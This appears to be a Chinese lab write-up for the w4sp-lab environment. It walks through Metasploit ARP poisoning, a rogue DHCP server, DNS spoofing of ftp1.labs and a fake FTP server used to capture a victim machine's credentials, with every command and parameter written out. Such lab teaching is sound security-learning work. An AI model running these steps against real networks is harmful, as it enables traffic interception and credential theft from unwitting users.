环境就是用的 w4sp-lab ?
https://www.cnblogs.com/yichen115/p/12603295.html
ARP中间人攻击
首先 sudo python w4sp_webapp.py,把环境拉起来,然后访问 127.0.0.1:5000
在一个新的终端里面打开 msf(命令:sudo msfconsole),使用:
use auxiliary/spoof/arp/arp_poisoning
打开 msf 的时候加个 sudo,不然待会
You don't have permission to capture on that device (socket: Operation not permitted)
show options
看一下需要的参数,我们需要设置 DHOSTS 和 SHOSTS 以及 LOCALSIP(需要用 show advanced
查看)
在网络拓扑里面查看一下 我们攻击的目标 vic1 的 IP
set DHOSTS 192.100.200.167
在终端中查看一下我们的网关:
set SHOSTS 192.100.200.1
把 LOCALSIP 设置为 本机的 ip:
set LOCALSIP 192.100.200.191
打开 wireshark 抓包看一下
我。。卡死了,重新开一下,同时记录一下各个设备的 ip
w4sp_lab(本机) | vic1(靶机) | ftp2(另一网段的ftp) |
---|---|---|
192.100.200.191 | 192.100.200.174 | 10.100.200.159 |
抓包,选择 w4sp-lab 那个
同时用 arp-scan -l 可以看到 vic1 的 MAC 地址是 ea:d6:b0:9a:94:10
正常的时候 ARP 流量是这样的,只有 vic1 这个机器不断地在询问
当我们进行 ARP 欺骗之后:
exploit
开始攻击(之前的图)
本机开始不断地向 vic1 发送假的信息(可以看到不停发送 arp 信息的就是本机)
同时,vic1 发送给另一个网段的 ftp 服务器的信息直接发到了我们这里
DNS中间人攻击
通过篡改 DNS 流量,使得 DNS 响应把特定主机名解析给攻击者的机器,而不是主机名真正对应的机器
除非系统设置了静态 IP,否则 DNS 服务器的信息,是作为 DHCP 服务器的一个参数一起获得的
DHCP 协议工作步骤:
1、客户端发起一个"Discovery(发现)"广播:有没有 DHCP 服务器? 2、DHCP 服务器向客户端回一个"Offer(供应)":你准备要这个 IP 嘛? 3、客户端对收到的 IP 地址发送"Request(请求)":我准备要这个 IP! 4、DHCP 服务器最后回复"Acknowledgment(确认)":这个 IP 归你了!
除了 IP 地址,DHCP 服务器还会提供其他信息,例如分配的 IP 可以保留多久(租期),同时也提供 DNS 服务器信息
我们打算用 msf 伪造我们的机器为假的 DHCP 和 DNS 服务器提供出去
先伪造 DHCP:
sudo msfconsole
,然后
use auxiliary/server/dhcp
分别设置 DNSSERVER、SRVHOST 为本机 IP,NETMASK 设置为 255.255.255.0
set DNSSERVER 192.100.200.191
假的 DNS 服务器地址
set SRVHOST 192.100.200.191
假的 DHCP 服务器的地址
set NETMASK 255.255.255.0
网络掩码
使用
use auxiliary/server/fakedns
来伪造 DNS 服务器
分别设置攻击参数:
set TARGETACTION FAKE
对解析的域名采取什么动作,FAKE 表示假冒,如果想测试一下这个模块可以使用 BYPASS(放行)这样会转发给合法的 DNS 服务器
set TARGETDOMAIN ftp1.labs
希望解析的域名
set TARGETHOST 192.100.200.191
用于解析 DNS 查询的服务器
过一会就会收到每条 DNS 查询信息了
如果不想显示这些东西可以 jobs -l
看一下在运行的任务
然后 jobs -k 1
(删掉 id 位 1 的任务)
然后 exploit -q
静默运行
可以看到 vic1 向我们的机器查询 ftp1.labs 的地址
我们的机器又告诉他 ftp1.labs 是在 192.100.200.191 也就是本机 ip
但问题是本机并没有 FTP 服务器,vic1 过来没人搭理他,我们需要再设置一个假的 FTP 服务器来捕获用户的身份信息
use auxiliary/server/capture/ftp
甚至不需要什么参数,直接 exploit 就可以了
这样就可以用 wireshark 找到他的用户身份信息了
然而 msf 的终端里也会显示